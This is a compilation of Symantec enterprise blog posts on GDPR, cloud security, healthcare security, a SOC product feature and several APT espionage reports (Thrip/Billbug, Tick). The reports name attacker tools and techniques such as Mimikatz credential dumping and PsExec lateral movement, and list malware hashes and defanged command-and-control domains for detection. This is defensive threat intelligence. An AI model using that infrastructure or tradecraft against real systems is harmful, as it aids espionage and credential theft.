Starting on May 25, 2018, organizations that process personal data relating to EU citizens will need to fully comply with the EU. This regulation is truly global in scope and extends to any organization, regardless of location.
The GDPR legislation includes myriad requirements but the overarching objective is to keep personal data private and secure. The penalties for non-compliance can be severe - besides the financial costs - 4% of global turnover or €20m, whichever is higher - organizations face restrictions on trading as well as the brand and reputational damage associated with a breach.
Let’s examine more closely the three fundamental data protection questions that you’ll need to face before GDPR becomes the new law of the land:
Where is the Personal Data I hold?
GDPR defines what counts as personal data. This covers a range of information types such as IP address or digital images. So, the first issue is to identify all GDPR regulated data. Data can be mobile, stored in the cloud or even in locations that are beyond your control. But if you lack full visibility - either because you don’t know what data to look for or because of blind spots on devices, shadow IT or cloud applications - then you have a problem.
Who Actually has Access to the Data?
Under GDPR, you can only use personal data for the purpose in which you gathered consent. This responsibility persists, even if you have outsourced the data handling. Therefore, you need to ensure that you know who is accessing your data (even if they are part of a third-party organization) and can track their interactions. This latter element is critical in ensuring data is protected, e.g. from account takeover attacks. We see a number of data breaches start with user credentials being stolen, and then hijacked by attackers to infiltrate IT systems and steal data. Being able to monitor user behavior to both assess user risk, and identify potentially compromised accounts allows you to proactively defend against breaches.
Under GDPR, you can only use personal data for the purpose in which you gathered consent
How do I ensure my data is protected?
How do you protect data when it leaves your premises AND still allow for collaboration with third parties? That’s one challenge presented by data mobility. Ideally, you want a way to selectively block access to data, allowing only legitimate users. The benefit is that if there is a data breach and files end up in the wrong hands, your organization can employ layered defenses to mitigate the damage.
The first defense comes by restricting access rights to limit the risk of a data breach even if the file has been widely distributed. In cases where you also suspect that user accounts have been hijacked, the ability to monitor user behaviors and data access patterns can help identify risk. At that point, the organization can deploy additional defenses, such as revoking file access or suspending a user’s access rights completely.
Information Centric Security
GDPR is setting off a scramble, causing many organization to completely review, and in some cases, overhaul their processes. With the countdown to the deadline ticking down, it’s more important than ever to work out a coherent strategy. There are three letters that can help – I, C and S, which stand for Information Centric Security. Essentially, this describes a blend of information protection technologies deployed with the goal of protecting sensitive data, wherever it goes and whoever it’s being accessed.
It also marks a new approach to information protection that solves the multiple challenges involved in protecting data. To put it simply, the company’s information protection strategy has to focus on its data. While this may sound obvious, many existing data protection systems focus on the data repository (e.g. network storage), data transfer mechanism (e.g. email) or data application (e.g. financial system), not the data itself.
In contrast, the information-centric approach to security brings together a range of technologies to find sensitive data (using automatic or user based classification and identification) at rest, in use or in motion across computers, servers, email, devices or cloud. Further, it protects data by automatically applying encryption and digital rights management (based on policy) with central user monitoring.
At first blush, all this might seem daunting. But getting data protection right has never been more important. And given the new requirements - not to mention the headline- grabbing penalties and fines that can be applied around breach notification - building out your defenses now will repay your upfront investment many times over.
To find out more, join us on January 11, 2018 for a webinar covering GDPR compliance and Cloud Adoption:
Register here for the GDPR Webinar
|
Three Ways to Get a Handle on Cloud Security
For overworked security teams, managing and protecting assets in the cloud has become a stress-inducing slog. Here are three ways to better protect your assets and reduce stress
Moving applications, data and workloads to the cloud can improve efficiency for developers and front-line business workers. For security teams, not so much.
While the cloud has been a boon to many aspects of the business—instant deployment and no capital costs—it does have hidden costs. Shadow cloud IT, misconfigurations and weak security settings can all put your cloud infrastructure at risk. In fact, about 70 percent of companies are concerned that their data in the cloud could be breached, while 83 percent of information security teams do not feel they have the control or the process to respond to security incidents in the cloud, according to Symantec's Cloud Security Threat Report (CSTR).
And, no wonder. In early April, an unsecured cloud storage server left 540 million records of Facebook users' comments and interests open to the public, and later that same month, a misconfigured cloud repository exposed data on 80 million households to the public.
The cloud can be secure, but to have a chance, security teams need to have three factors built into their process and platform: Visibility into your assets in the cloud, integration with a variety of information sources on threats, and the automation necessary to apply policy and speed response.
Here are the ways that these three factors can help keep your cloud assets secure and give you peace of mind.
Visibility is Key
Cloud services and infrastructure has eased the process of provisioning resources for business units. However, with new servers and services popping up and disappearing, it has also made it much more difficult to understand what assets a company has in the cloud. While unsanctioned servers and routers popping up inside the office—so called "shadow IT"—has plagued IT groups, the provisioning of unsanctioned services, virtual servers and containers has likewise caused headaches for cloud security teams.
Gaining visibility into what data, services and servers your company has in the cloud is a key milestone on the path to security.
Information all in one place
Information on the security state of all the endpoints, servers and cloud infrastructure for your company is typically spread across multiple appliances, dashboards and web portals. To get the best visibility into the state of your company's security, you need to have that information from all those sources integrated into a single view of your security.
Integration of data sources not only gives security teams more visibility, but also makes the detection of threats more reliable while minimizing false positives.
Automated Security for Complex Apps and Distributed Workloads
Most companies do not have enough security personnel or resources to triage every alert nor qualified responders to handle every security incident. Automating the process of responding to alerts, and enforcing company policies at the same time, can help companies respond more appropriately to incidents. Mitigating threats and remediating compromises are key security activities that should be automated, but often are not.
To give security teams better visibility into threats to their company's cloud deployments, Symantec has integrated its Cloud Workload Protection (CWP) service for securing and monitoring cloud workloads with Amazon GuardDuty, an intelligent threat detection and monitoring service from Amazon Web Services (AWS). Information on threats detected by GuardDuty will be shared with Symantec CWP so that security teams can quickly track and respond to threats and enforce a unified policy across all cloud workloads.
Mitigating threats and remediating compromises are key security activities that should be automated, but often are not.
In addition, through a new integration between Symantec CWP and Splunk, security alerts can be automatically identified, characterized and prioritized for SecOps teams. As such, AWS Security Hub can combine security findings from Symantec CWP with data from Amazon GuardDuty, aggregate, organize and prioritize the data and feed it into the Splunk Security Operations Suite. Splunk products in the suite will analyze and correlate the data against the overall security environment and then leverage automation and orchestration to quickly initiate an automated response.
Both integrations are part of Symantec's efforts to give security teams a single, integrated platform to manage their security and response efforts.
If you are interested in a test drive to see how having better visibility, integration, and automation can improve your security posture, sign up for a free trial of Symantec Cloud Workload Protection now.
|
Thrip: Ambitious Attacks Against High Level Targets Continue
Symantec’s Targeted Attack Analytics uncovers new attack campaigns in South East Asia.
Since Symantec first exposed the Thrip group in 2018, the stealthy China-based espionage group has continued to mount attacks in South East Asia, hitting military organizations, satellite communications operators, and a diverse range of other targets in the region.
Many of its recent attacks have involved a previously unseen backdoor known as Hannotog (Backdoor.Hannotog) and another backdoor known as Sagerunex (Backdoor.Sagerunex). Analysis of the latter has revealed close links to another long-established espionage group called Billbug (aka Lotus Blossom). In all likelihood, Thrip and Billbug now appear to be one and the same.
"Thrip APT group hits targets in Hong Kong, Macau, Indonesia, Malaysia, the Philippines, Vietnam https://symc.ly/2m4FiUv"
CLICK TO TWEET
Ambitious targets
Since we last published on Thrip in June 2018, the group has attacked at least 12 organizations, all located within South East Asia. Its targets have been located in Hong Kong, Macau, Indonesia, Malaysia, the Philippines, and Vietnam.
The group has attacked a diverse range of targets over the past year, most notably military targets in two different countries. It has also attacked organizations in the maritime communications, media, and education sectors.
Thrip has continued to target organizations in the satellite communications sector, with evidence of activity dating to as recently as July 2019.
One of the most alarming discoveries we made in our original Thrip research was that the group had targeted a satellite communications operator and seemed to be interested in the operational side of the company, looking for and infecting computers running software that monitored and controlled satellites. Significantly, Thrip has continued to target organizations in the satellite communications sector, with evidence of activity dating to as recently as July 2019.
New malware provides more leads
Much of this recent activity was uncovered by Symantec following the discovery of a Thrip tool, a backdoor called Hannotog which appears to have been used since at least January 2017. It was first detected in an organization in Malaysia, where it triggered an alert for suspicious WMI activity with our Targeted Attack Analytics (TAA) technology, available in Symantec Endpoint Detection and Response (EDR).
Figure 1. Hannotag was first discovered when it triggered a Targeted Attack Analytics (TAA) alert for suspicious WMI activity
TAA leverages artificial intelligence in order to comb through Symantec’s vast data and spot patterns associated with targeted attacks. It is capable of automatically flagging incidents that would otherwise have taken thousands of hours of analyst time to identify.
TAA allowed us to uncover Hannotog and from there, our expert threat hunting team built out a profile of the adversary’s tools, tactics, and procedures. This allowed us to identify other organizations that have been compromised by Thrip, allowing us to build up a complete picture of the group’s most recent activities.
Hannotog is a custom backdoor which provides the attackers with a persistent presence on the victim’s network. It has been used in conjunction with several other Thrip tools, including Sagerunex, another custom backdoor providing remote access to the attackers, and Catchamas (Infostealer.Catchamas), a custom Trojan deployed on selected computers of interest and designed to steal information.
In addition to custom malware, Thrip has made extensive use of dual-use tools and living-off-the-land tactics. These include:
Credential dumping
Archiving tools
PowerShell
Proxy tools
The Billbug link
Since Symantec first uncovered Thrip in 2018, we’ve found strong evidence linking it to the Billbug group.
What ties the two groups together is the Sagerunex backdoor. This malware appears to be an evolution of an older Billbug tool known as Evora. By comparing strings and code flow between the two, we found that:
The code for logging in both is the same
The logging string format is similar, Evora is just more verbose
The log name for both starts with “\00EV”
The command and control (C&C) communication code flows are similar
Billbug is a long-established espionage group, active since at least January 2009. Similar to the Thrip sub-group, the wider Billbug group is known for specializing in operations against targets in South Asia.
Billbug’s targets are usually compromised by either spear-phishing emails or watering hole attacks. The group’s spear-phishing attacks have tended to use exploits in Microsoft Office and PDF documents to drop its malware onto victims’ computers. To date, many of the group’s targets have been governments or military organizations.
Wider picture
Thrip appears to have been undeterred by its exposure last year, continuing to mount espionage attacks against a wide range of targets in South East Asia. Its link to the Billbug group puts its activities into context and proves its attacks are part of a broader range of espionage activity heavily focused on (but not limited to) governments, armed forces, and communications providers.
Symantec’s TAA was the catalyst for both our initial discovery of Thrip in 2018 and the discovery of new tools and victims in 2019. Without TAA’s artificial intelligence, it is quite likely that the group’s activities may have gone undetected for a lot longer.
Protection/Mitigation
Symantec Endpoint Detection and Response (SEDR), which contains TAA technology, automatically detects Thrip-related activity.
In addition to SEDR, Symantec’s Managed Endpoint Detection and Response (MEDR) service leverages automated attack hunting provided by analytics as well as Symantec analyst security expertise to remotely investigate and contain incursions by adversaries such as Thrip in Symantec customer networks.
The following protections are also in place to protect customers against Thrip attacks:
File-based protection
Backdoor.Hannotog
Infostealer.Catchamas
Backdoor.Sagerunex
Threat Intelligence
Customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have received reports on Thrip and Billbug, which detail methods of detecting and thwarting activities of this group.
Indicators of Compromise
SHA256 Name
9348eba0582b19c4580491a32457a1904c41c06dee27ed07c86d986d3c98d15c Hannotog
bd92ce8ef31cd40894b68338d9b71d371936b432b5347d944fad7d9381459761 Hannotog
0d1ecd92570b8ca7b2ffd60271c5f601c08a822197413cf4ffd552a7e2426ff6 Sagerunex
19378dab8b242d94148ad5c48d57d9e45fec5f53b6724155488dd80566a66623 Sagerunex
1e164da9ddd19d0b654e8a60b416c80e82f9bfc0ab35dd262733f4364610c9f4 Sagerunex
27ccd12206d185bf3297df288febf7d47b93ccdc6ec0e5c389ae30da8cac4bf3 Sagerunex
460e11159413b47399aac530433bb00132f54e3859da1f5305977275e37c6153 Sagerunex
5174d45c4e64c5e6abe6639a6a1d6f64bb48b4fb0efdad2b0ea708be7cb82fce Sagerunex
523f28a364858bd7bb65de7c9e94bbdfbbdb9fe800421c990226662e293a05ea Sagerunex
76a309691661ed67808a9c438815e9a282495e2e8e0055f2fe40e42bcf002dab Sagerunex
868f0a1d3764e1c8e03a58caf1d4b8de946671d59b9145e30102ab6540349968 Sagerunex
9530d2df7d340c74f061a1bff87bd2720ff11347b09f05cfb16e4dfd198f0168 Sagerunex
9fd88a5d30fa36d8353cad6ea8b5f867429d39652bf85473de31c39466435775 Sagerunex
c0be532e9fb71e0462f9bfdc8754df320be960b9d510a0b3b6d6cf128c537658 Sagerunex
d45ad71497f48d0d2ebff8ecdcafc9e609b550c0ed76d540d7660dc27785d376 Sagerunex
d54de8e0dc2b58b140f8677be3f0ea3c902dc3f3b112c7350aa95a9cbe24a8af Sagerunex
d7c6aa114df9be3a1e01c196ca44e929821d6a6316f4754b0933189f98af4fc7 Sagerunex
fe2046e479289b1013eb394f5b3d7a49a419cb98015add3ead0fa87614fe6e38 Sagerunex
3228a0d40222548ea3476b43b13a18ef09f06a4402e3280640ee297533b5a3a0 Catchamas
6b236d3fc54d36e6dc2a26299f6ded597058fed7c9099f1a37716c5e4b162abc Catchamas
d9131bf2e2e2a80c319ed6ffbe5c726fe30eac50902705096d2610de52a774e2 Catchamas
f14c9c859e12cf70099af098668f849b2ca0e99de6cc62b8569c230f35e36aa5 Catchamas
0fb583b98cb73bd1bda1d60398fc6587a9541fff43d4db6dd172b853dcac1b17 Catchamas
6b01d376b355c56ede966ccf5cca6c8d5616962e67bbf0ddbf7ad395d117fdee Catchamas
db921a575fa7fd4b0c1b405a54f77d10c73eb1cb1384a27d584d7323e72938b6 Catchamas
Further Reading
Symantec Enterprise Blogs
YOU MIGHT ALSO ENJOY
4 MIN READ
Moving Beyond Traditional EDR
New times and new threats require a new approach in the way that organizations respond to threats
Symantec Enterprise Blogs
YOU MIGHT ALSO ENJOY
5 MIN READ
Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies
Symantec’s artificial-intelligence-based Targeted Attack Analytics uncovers new wide-ranging espionage operation.
|
Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies
Symantec’s artificial-intelligence-based Targeted Attack Analytics uncovers new wide-ranging espionage operation.
One of the most significant developments in cyber espionage in recent years has been the number of groups adopting “living off the land” tactics. That’s our shorthand for the use of operating system features or legitimate network administration tools to compromise victims’ networks. The purpose of living off the land is twofold. By using such features and tools, attackers are hoping to blend in on the victim’s network and hide their activity in a sea of legitimate processes. Secondly, even if malicious activity involving these tools is detected, it can make it harder to attribute attacks. If everyone is using similar tools, it’s more difficult to distinguish one group from another. Most attack groups do still create and leverage custom malware, but it tends to be employed sparingly, reducing the risk of discovery.
Finding the needle in the haystack
This doesn’t mean espionage attacks are now going undiscovered, but it does mean that they can take longer for analysts to investigate. This is one of the reasons why Symantec created Targeted Attack Analytics (TAA), which takes tools and capabilities that we’ve developed for our own analysts and makes them available to our Advanced Threat Protection (ATP) customers. TAA leverages advanced artificial intelligence and machine learning that combs through Symantec’s data lake of telemetry in order to spot patterns associated with targeted attacks. Its advanced AI automates what previously would have taken thousands of hours of analyst time. This makes it far easier for us, and for our customers, to find that “needle in the haystack.”
It was TAA that led us to the latest cyber espionage campaign we’ve uncovered. Back in January 2018, TAA triggered an alert at a large telecoms operator in Southeast Asia. An attacker was using PsExec to move laterally between computers on the company’s network. PsExec is a Microsoft Sysinternals tool for executing processes on other systems and is one of the most frequently seen legitimate pieces of software used by attackers attempting to live off the land. However, it’s also widely used for legitimate purposes, meaning malicious use of PsExec can be difficult to spot.
TAA not only flagged this malicious use of PsExec, it also told us what the attackers were using it for. They were attempting to remotely install a previously unknown piece of malware (Infostealer.Catchamas) on computers within the victim’s network.
Figure 1. Targeted Attack Analytics leverages machine learning to spot malicious activity associated with targeted attacks and alerts the customer.
Armed with this information about the malware and living off the land tactics being used by this group of attackers whom we named Thrip, we broadened our search to see if we could find similar patterns that indicated Thrip had been targeting other organizations. We uncovered a wide-ranging cyber espionage campaign involving powerful malware being used against targets that are a cause for concern.
We identified three computers in China being used to launch the Thrip attacks. Thrip’s motive is likely espionage and its targets include those in the communications, geospatial imaging, and defense sectors, both in the United States and Southeast Asia.
Eye on the sky: Thrip’s targets
Perhaps the most worrying discovery we made was that Thrip had targeted a satellite communications operator. The attack group seemed to be particularly interested in the operational side of the company, looking for and infecting computers running software that monitors and controls satellites. This suggests to us that Thrip’s motives go beyond spying and may also include disruption.
Another target was an organization involved in geospatial imaging and mapping. Again, Thrip seemed to be mainly interested in the operational side of the company. It targeted computers running MapXtreme Geographic Information System (GIS) software which is used for tasks such as developing custom geospatial applications or integrating location-based data into other applications. It also targeted machines running Google Earth Server and Garmin imaging software.
The satellite operator wasn’t the only communications target Thrip was interested in. The group had also targeted three different telecoms operators, all based in Southeast Asia. In all cases, based on the nature of the computers infected by Thrip, it appeared that the telecoms companies themselves and not their customers were the targets of these attacks.
In addition, there was a fourth target of interest, a defense contractor.
Figure 2. Thrip, spying on communications, mapping, and defense targets
Attempting to hide in plain sight
Thrip uses a mixture of custom malware and living off the land tools to perform its attacks. The latter include:
PsExec: Microsoft Sysinternals tool for executing processes on other systems. The tool was primarily used by the attackers to move laterally on the victim’s network.
PowerShell: Microsoft scripting tool that was used to run commands to download payloads, traverse compromised networks, and carry out reconnaissance.
Mimikatz: Freely available tool capable of changing privileges, exporting security certificates, and recovering Windows passwords in plaintext.
WinSCP: Open source FTP client used to exfiltrate data from targeted organizations.
LogMeIn: Cloud-based remote access software. It’s unclear whether the attackers gained unauthorized access to the victim’s LogMeIn accounts or whether they created their own.
All of these tools, with the exception of Mimikatz (which is almost always used maliciously), have legitimate uses. For example, PowerShell is widely used within enterprises and the vast majority of scripts are legitimate. Similarly, PsExec is frequently used by systems administrators. However, in this case, it was Thrip’s use of PsExec that drew our attention. Through advanced artificial intelligence and machine learning, TAA has trained itself to spot patterns of malicious activity. While PsExec itself may be innocuous, the way that it was being used here triggered an alert by TAA. In short, Thrip’s attempts at camouflage blew its cover.
While Thrip now makes heavy use of living off the land tactics, it also employs custom malware (Infostealer.Catchamas), particularly against computers of interest. Catchamas is a custom Trojan designed to steal information from an infected computer and contains additional features designed to avoid detection.
Highly targeted espionage operation
From the initial alert triggered by TAA, we were able to follow a trail that eventually enabled us to see the bigger picture of a cyber espionage campaign originating from computers within China and targeting multiple organizations in the U.S. and Southeast Asia. Espionage is the group’s likely motive but given its interest in compromising operational systems, it could also adopt a more aggressive, disruptive stance should it choose to do so.
Protection
The following protections are in place to protect customers against Thrip attacks:
File-based protection
Infostealer.Catchamas
Hacktool.Mimikatz
Network protection products
Malware Analysis Appliance detects activity associated with Thrip
Customers with Webpulse-enabled products are protected against activity associated with Thrip
Threat intelligence
In addition to file-based protection, customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have received reports on Thrip, which detail methods of detecting and thwarting activities of this group.
File Attachments
Thrip IOC listTXT564 bytes
Further reading
To find out more about Targeted Attack Analytics (TAA), read our whitepaper Targeted Attack Analytics: Using Cloud-based Artificial Intelligence for Enterprise-Focused Advanced Threat Protection
|
Tick cyberespionage group zeros in on Japan
Group has employed spear-phishing emails and compromised a number of Japanese websites in order to infect a new wave of victims.
A longstanding cyberespionage campaign has been targeting mainly Japanese organizations with its own custom-developed malware (Backdoor.Daserf). The group, known to Symantec as Tick, has maintained a low profile, appearing to be active for at least 10 years prior to discovery.
In its most recent campaign, Tick employed spear-phishing emails and compromised a number of Japanese websites in order to infect a new wave of victims. The group is highly selective in its approach and only appears to deploy its full range of tools once it establishes that the compromised organization is an intended target. Tick also uses a range of hacktools to map the victim’s network and attempt to escalate privileges further.
Daserf’s main purpose is information stealing and the Trojan is capable of gathering information from infected computers and relaying it back to attacker-controlled servers. Tick’s most recent attacks have concentrated on the technology, aquatic engineering, and broadcasting sectors in Japan.
Recent attacks
Symantec discovered the most recent wave of Tick attacks in July 2015, when the group compromised three different Japanese websites with a Flash (.swf) exploit to mount watering hole attacks. Visitors to these websites were infected with a downloader known as Gofarer (Downloader.Gofarer). Gofarer collects information about the compromised computer and then downloads and installs Daserf.
Tick also used spear-phishing emails in these recent attacks. While Symantec did not find the emails themselves, it did identify the use of an exploit designed to take advantage of a vulnerability in Microsoft Office documents (CVE-2014-4114). This was used to distribute malware in addition to the watering hole activity.
Tick under the microscope
Daserf appears to be custom-developed for use in Tick’s cyberespionage campaigns. Once installed, it establishes a remote connection to Tick’s command and control server, providing the attacker with access to the compromised computer.
Figure 1. Chain of infection seen in recent Japanese attacks
Once the malware is installed on a targeted computer, the attackers attempt to enumerate the network and escalate their privilege level. To do this, Tick uses a number of publicly available hacktools such as Mimikatz, GSecdump, and Windows Credential Editor. The tools are downloaded and deployed to the original install directory previously created by the malware.
Tick’s primary objective appears to be the theft of sensitive information from targeted Japanese organizations. To date, Symantec has observed the group attempting to steal emails and documents such as PowerPoint presentations.
Low-profile threat
The Daserf Trojan employs a number of tactics to avoid detection. Once collected, the stolen data is hidden in password-protected .rar archives.
Daserf also uses file and folder names related to legitimate programs often found in Windows environments in order to blend in. Observed folder names include HP, Intel, Adobe, and perflogs and folders are generally created in either the root drive or the Application Data or Program Files folders. File names used in recent attacks include adobe.exe, adobe_sl.exe, intel.exe, and intellog.exe.
Command and control servers
Tick uses compromised web servers to distribute malware and, in some instances, for its command and control (C&C) infrastructure. However, in most cases, it relies on its own infrastructure for C&C purposes.
In its most recent campaigns, the group registered the domains used for C&C servers days after the malware was compiled. For example, one of the variants of Daserf used was compiled on July 8, 2015. This sample was seen contacting the C&C domain www[.]dreamsig[.]com, which was first registered on July 13, 2015, five days after the compilation date. This pattern occurred in multiple Daserf samples.
Another interesting aspect of the communication between the malware and the C&C infrastructure is how the malware changes the URL from a randomly chosen variable selected from a predefined list.
Predefined list from Daserf MD5: 765017E16842C9EB6860A7E9F711B0DB
rjdyw.asp
xszgj.asp
dheyf.asp
ejdhf.asp
gxbne.asp
swetf.asp
qgfhr.asp
whjdh.asp
zgfer.asp
cshyr.asp
fxkle.asp
tmwry.asp
viksr.asp
ycghw.asp
Symantec identified multiple C&C domains used by Tick. Unfortunately, Tick frequently used either privacy protection services or domain brokers to mask registration information. These tactics are used to make discovery and attribution more difficult.
Table. Examples of Tick C&C domains and associated MD5 hashes
C&C domain Parent hash
charlie-harada[.]com 122652ca6ef719f8ba2d8d412ea184fe
isozaki.sakura.ne[.]jp 4601e75267d0dcfe4256c43f45ec470a
www.aucsellers[.]com 7ec173d469c2aa7a3a15acb03214256c
www.lunwe[.]com 8d5bf506e55ab736f4c018d15739e352
c-saika[.]jp 3fa5965a1de2c095de38f22f0645af3e b33f4b8e776b94dc48c234ce9897cf74
kcm-store[.]com 63fe9f06068823b02b925e4a74a57db0
htpc[.]jp a629926313ee12163e1bdd2bb633e0e2 d3031438d80913f21ec6d3078dc77068
rlsolar[.]jp d3031438d80913f21ec6d3078dc77068
Stolen digital certificates used in selected cases
The majority of the malware analyzed was not digitally signed. However, a small percentage was signed with a stolen digital certificate. It is unclear why the certificate was used so sparingly, since signed malware would receive a greater level of trust and reduce the risk of detection.
It is possible that the certificate was used against a target that had a secure environment which may have required binaries to be signed in order to interact with the operating system.
The issuer of the certificate has been informed of its misuse and confirmed that it would be revoked.
Figure 2. The stolen digital certificate used to sign Tick malware
Targets
The use of compromised websites to infect victims results in unintentional infections, making it difficult to identify the motives of the attacker. By searching for evidence of post-infection activity, Symantec identified seven organizations where Tick had mounted persistent post-compromise attacks. These organizations were primarily large Japanese technology, engineering, and media firms.
Figure 3. Daserf infections by region
The seven organizations therefore appear to be Tick’s intended targets. In addition to seeing post-compromise tools used in these attacks, the length of time the attackers were active on the networks provided additional evidence that these were high-value targets. The longest time Tick was active in a victim’s environment was 18 months. The average timeframe was five months and the number of infected hosts in a victim’s network ranged from 3 to 15 systems.
Conclusion
Tick has left a trail of evidence indicating that its activity began as early as 2006. In earlier attacks, the group used malicious Microsoft Word documents to infect victims, with compromised websites being added to the mix as a more recent attack vector.
Tick appears to be a well-organized group, with the funding and capability to develop and update its malware. It has the ability to compromise legitimate infrastructure to use for malware distribution and has access to stolen digital certificates to sign its malware when needed. Tick primarily uses purchased infrastructure for its C&C servers and has been able to stay off the radar since 2006.
Tick exhibits all the hallmarks of an advanced cyberespionage group. The long lifespan of the group, as well as the consistent targeted attacks against specific industries, support this theory. The individuals or organization behind Tick’s operations has an interest in Japanese technology along with Japanese media and broadcasting organizations. While Tick’s tactics may change over time, the group’s history indicates that its focus will continue to be a narrow range of targets, mainly in Japan.
Protection
Symantec and Norton products protect against these threats with the following detections:
Antivirus
Backdoor.Daserf
Backdoor.Daserf!gen1
Backdoor.Daserf.B
Downloader.Gofarer
Downloader.Gofarer!g1
Downloader.Gofarer!g2
Downloader.Gofarer!g3
Intrusion prevention system
System Infected: Backdoor.Daserf.B
|
Time for Top-Down Approach to Healthcare Cyber Security
Healthcare leaders need to get everyone in their organizations to step up to the challenge and do their part to thwart cyber attackers
When it comes to cyber security, healthcare organizations can no longer afford to merely treat it as a technical problem that can be left to a few specialists.
The growing spectrum of cyber threats—and the attendant risks to care delivery, patient safety, and the business of healthcare—cannot be mitigated by the efforts of cyber experts alone. Instead, healthcare leaders need to get everyone involved, from the board of directors to medical and support staff.
As discussed in an earlier blog post, the growing sophistication of cyber threats (as detailed in Symantec’s 2018 Internet Security Threat Report) coincides with the growing complexity of the health IT environment—leaving healthcare organizations trying to defend a broader attack surface against a growing range of threats. To make matters worse, malicious actors appear to find healthcare organizations to be especially attractive targets, as noted in the Symantec Executive Summary for Healthcare Professionals.
The first step in mitigating these threats is understanding them and their potential impact on the delivery of care and the business of healthcare, and that begins with the board of directors and hospital administrators.
The American Bar Association points out that cyber security is a legal liability that comes with potentially significant financial risk. For example, failure to comply with the Privacy and Security Rules under the Health Insurance Portability and Accountability Act (HIPAA) can cost an organization up to $1.5 million per year for each violation and where, to make matters worse, a single incident can be considered as being caused by multiple violations – meaning, the fine may be a multiple of that. Case in point: In June 2018, a judge ordered a Texas cancer center to pay $4.3 million in penalties for HIPAA violations.
But liability is just one concern. A significant cyber event can come with other risks, including the impact on clinical operations and patient safety and the damage to an organization’s reputation, according to a 2017 report by McClain and Canoy, a law firm specializing in health issues. With all that in mind, it’s in the board’s best interest to ensure that an organization has the resources it needs to minimize exposure to cyber risks.
“A company’s budget typically illustrates its values,” the report states. “Companies should allocate sufficient financial resources to cyber security through salaries, consulting budgets and technology upgrades to enable the compliance team to effectively execute the necessary compliance plan.”
Like specialists in many fields, cyber experts tend to speak their own language, which non-specialists might find incomprehensible. But to get the resources and support they need, they must learn to explain in clear and compelling terms about cyber risks and priorities as it is appropriate for their audience.
But healthcare leaders also need to recognize that for many people—themselves included—cyber security requires continual learning and adoption of one’s strategy. For example, because of the focus on HIPAA, it’s easy to conflate cyber security with data privacy. But as the American Hospital Association (AHA) points out, cyber security encompasses so much more—not just protecting the data but also identifying and mitigating vulnerabilities throughout a hospital’s information network. With that in mind, AHA has developed cyber security training for hospital leaders.
Further, HHS recognizes that cyber attacks are increasing and more dangerous than they have ever been and that regulations can not possibly anticipate all changes in the threat landscape or changes in technology in a prescriptive way. For example, mobile devices, cloud storage or social media did not exist when the HIPAA Security Rule was published in 2003. Therefore, HHS has clarified in 2016 that “the Security Rule simply establishes a floor, or minimum requirements, for the security of ePHI; entities are permitted (and encouraged) to implement additional and/or more stringent security measures above what they determine to be required by Security Rule standards.”
Health IT and cyber leaders have a role to play in this as well. Like specialists in many fields, cyber experts tend to speak their own language, which non-specialists might find incomprehensible. But to get the resources and support they need, they must learn to explain in clear and compelling terms about cyber risks and priorities as it is appropriate for their audience. For example, a business leader should be concerned about and receive information pertaining to the business risks whereas clinical decision makers should be focusing on potential impact to care delivery and patient safety.
This concern was also expressed by the Health Care Industry Cyber Security Task Force, which was formed by the Department of Health and Human Services (HHS). In its June 2017 report, the task force recommended that the industry’s various professional associations develop materials to help cyber leaders communicate more effectively with their leadership.
But healthcare organizations also need to consider training for its broader workforce. The HHS Office for Civil Rights (OCR), which oversees compliance issues, points out that an organization’s workforce is on its frontline when it comes to ensuring the privacy and security of protected health information (PHI).
In a June 2017 article, OCR states that the number of providers and health plans involved in security-related HIPAA violations or cyber security attacks affecting PHI had increased 10 percent over two years. In fact, as discussed in the Executive Summary for Healthcare Professionals, looking at long-term trends since 2010 (per the OCR breach portal web site), we have typically seen the number of reported breaches increase by 10 percent per year.
“This increase in HIPAA violations includes breaches due to ransomware events, such as WannaCry, and other cyber attacks which could have been prevented by an informed workforce trained to detect and properly respond to them,” according to OCR.
Clearly, everyone in a healthcare organization is a stakeholder with a vested interest in strengthening cyber security—and a vital role in making that happen. Health leaders looking to respond to the growing spectrum of cyber threats need to ensure that their cyber experts are not fighting this battle alone and do so having the backing of the larger organization.
If you found this information useful, you may also enjoy:
Symantec’s 2018 Internet Security Threat Report
Cyber Security and Healthcare: An Evolving Understanding of Risk
|
Time to Hit Reset in the SOC
AI innovation lightens the EDR workload
Today’s Security Operations Center (SOC) is struggling. It holds one of the most critical functions in the security org, yet it remains in a difficult place. Sophisticated attackers, numerous detection tools that don’t always work together while delivering contradictory output, and mountains of alerts to analyze and address. These are among the many challenges.
Symantec’s rich experience in threat intelligence has given us excellent insight into what’s going on. One major cause of struggle in the SOC has been around forever. Despite decades of cybersecurity advancements, SOC analysts still receive 1000s of incidents every day. While this is well-documented, the solutions offered by vendors still have not solved the problem. In fact, in some cases, the "solution" puts an even bigger burden on the SOC, requiring hours of custom configuration. This can increase the risk of false positives!
So, what if we could change all of this by using AI to reduce the number of incidents the SOC analyst needs to investigate? And give the SOC more insight into true threats? What if we could go even further by providing an extra analytical layer that separates the suspicious behavior from the benign? And most of all, what if we could find a way to lighten the SOC’s workload?
The good news is that we can.
We have just introduced a new EDR feature that harnesses the power of the Adaptive technology that’s already in SES Complete. It automatically separates normal from suspicious behavior, so the SOC analyst has fewer incidents to investigate. And with fewer tasks on the “to do” list, the analyst has a much smaller chance of missing a true threat.
We have just introduced a new EDR feature that harnesses the power of the Adaptive technology that’s already in SES Complete.
With “Adaptive Incidents”, as it is called, we use our AI to evaluate all events in the environment. As we analyze, we look for normal activity that could be considered suspicious. It's very often that threat actors hide in plain sight and try to do tasks that are very similar to what administrators do, but they vary things slightly to achieve a malicious outcome.
Of course, the rate of work generated by normal business operations massively outweighs the weight of the activity of the threat actors. But our Adaptive Incidents studies day-to-day operations – contextually and situationally – to establish a baseline of normal activity for each customer. With that intelligence, we can create an “adaptation” of the rules that trigger incidents for the SOC to investigate. And with the adaptation in place, it’s only the events that we haven’t seen in the normal environment that will raise an incident and be presented to the SOC for investigation.
Fundamentally, Adaptive Incidents removes the scenario, for example, where the SOC team investigates an incident and finds something that the company’s development team does every single day. In short, this new capability lightens the SOC team’s load. It helps analysts to focus on the incidents that have the greatest potential to be malicious.
But that’s not all that it does. It provides:
Added visibility – The analytics driving Adaptive Incidents gives customers more visibility into what is happening in their environments.
Fewer false positives -- Adaptations reduce the number of incidents created, reducing the workload on the SOC investigations team. But at the same time, we're increasing the confidence that these incidents are indeed unusual, anomalous activities that need to be investigated.
